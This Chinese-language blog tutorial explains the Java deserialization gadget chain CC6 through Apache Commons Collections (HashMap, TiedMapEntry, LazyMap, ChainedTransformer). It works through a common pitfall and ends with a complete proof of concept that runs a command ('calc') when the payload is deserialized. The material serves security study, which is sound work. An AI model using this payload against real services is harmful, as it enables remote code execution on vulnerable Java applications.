Java安全 反序列化(5) CC6链原理分析
CC6学习的目的在于其可以无视jdk版本,这条链子更像CC1-LazyMap和URLDNS链子的缝合版
文章目录
- Java安全 反序列化(5) CC6链原理分析
- 前言
- 一.CC6的原理和实现以及易错点
- 我们如何实现调用LazyMap.get()方法
- 一个易错点
- 二.完整CC6POC
前言
上篇文章我们通过LazyMap.get()
方法实现ChainerTransformer
的链式调用
但是我们再次依赖了AnnotationInvocationHandler
作为我们反序列化后的入口类
在JDK 8u71以后开发者重写了AnnotationInvocationHandler
使我们依赖AnnotationInvocationHandler
调用LazyMap.get()
和TransformerMap.checkSetValue
实现ChaindeTransformer.transform()方法失效
如何让调用ChaindeTransformer.transform()
执行任意命令可以无视JDK版本?
我们知道URLDNS链具有普遍性,我们可以同样通过HashMap实现入口类吗?
通过自动调用hashcode方法最终实现ChainerTransformer
的链式调用
一.CC6的原理和实现以及易错点
我们如何实现调用LazyMap.get()方法
如果我们查找用法,会发现非常多的结果
前辈们通过TiedMapEntry
类实现 HashMap
和LazyMap
的联系
回顾一下HashMap重写了readobject方法
putVal(hash(key), key, value, false, false);
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
调用了传入键值对象的hashCode方法
而TiedMapEntry同样有同名函数hashCode方法,可以实现链式的转移
hashCode方法调用了自身getValue方法
而恰好getValue方法可以调用传入map的get方法
map我们可以控制,修改为LazyMap,不就是和CC1-LazyMap的后半部分一模一样
我们可以直接拿上篇文章的payload进行修改后半段
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
HashMap<Object,Object> hashmap=new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry接受Map map,Object key
我们需要控制map为LazyMap对象,key值任意
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
而HashMap中控制key值为tiedMapEntry
HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,1);
一个易错点
当我们不反序列化时,直接执行代码,居然也可以RCE
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
HashMap<Object,Object> hashmap=new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,1);
}
原因和URLDNS链那里一样,因为HashMap的put方法也可以调用hashcode方法
对我们的结果造成干扰
因此我们应该和URLDNS链操作一致,先不让CC链触发,实现后触发
如何操作?
Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));
我们可以随便传个new ConstantTransformer(1)
代替chainedTransformer
使它put时不触发,put后再传回正确的值
同时还要注意再LazyMap.get()
方法中想要实现ChainedTransformer.transform()
就必须保证LazyMap的Key为空
而HashMap.put()方法后,返回了key值,因此key不再为空,后续不可以触发
factory.transform(key)
过不了判断
所以put后我们删除LazyMap的键值
lazymap.remove("key");
再通过反射修改LazyMap.decorate(hashmap,new ConstantTransformer(1));
中的键为ChaindeTransformer
在运行时动态触发poc
Class c=LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
可以实现RCE
二.完整CC6POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
HashMap<Object,Object> hashmap=new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,1);
lazymap.remove("key");
Class c=LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
serialize(map2);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize() throws IOException, ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}